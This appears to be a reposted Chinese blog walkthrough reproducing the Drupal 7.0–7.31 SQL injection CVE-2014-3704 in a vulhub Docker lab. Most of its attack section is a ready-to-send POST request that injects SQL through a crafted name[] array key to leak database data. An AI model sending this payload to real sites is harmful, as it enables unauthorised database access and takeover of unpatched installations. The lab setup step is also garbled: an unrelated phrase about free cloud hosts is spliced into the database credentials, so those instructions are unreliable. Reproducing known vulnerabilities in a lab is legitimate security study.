如何进行Drupal SQL注入漏洞CVE-2014-3704的复现


如何进行Drupal SQL注入漏洞CVE-2014-3704的复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。影响版本: 7.0~7.31下面仅作漏洞复现记录与实现,利用流程如下:一、漏洞环境本环境采用vulhub搭建执行以下指令完成环境搭建cd drupal/CVE-2014-3704/docker-compose up -d启动完毕后会开启8080端口漏洞链接:http://192.168.101.152:8080/初次访问需要安装,采用默认安装即可,Mysql数据库名填写drupal,数据库用户名、密码为免费云主机域名root,地址为mysql安装完成后,访问首页如下:二、漏洞利用直接发送数据包POST /?q=node&destination=node HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 120pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a即可触发漏洞,注意Content-Type要设置为application/x-www-form-urlencoded查询数据库看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注云编程开发博客行业资讯频道,感谢您对云编程开发博客的支持。

相关推荐: linux中的eof怎么用

这篇文章主要介绍“linux中的eof怎么用”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“linux中的eof怎么用”文章能帮助大家解决问题。 在linux中,eof是自定义终止符,是“END Of File”的缩写;…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/05 16:09
下一篇 02/05 16:09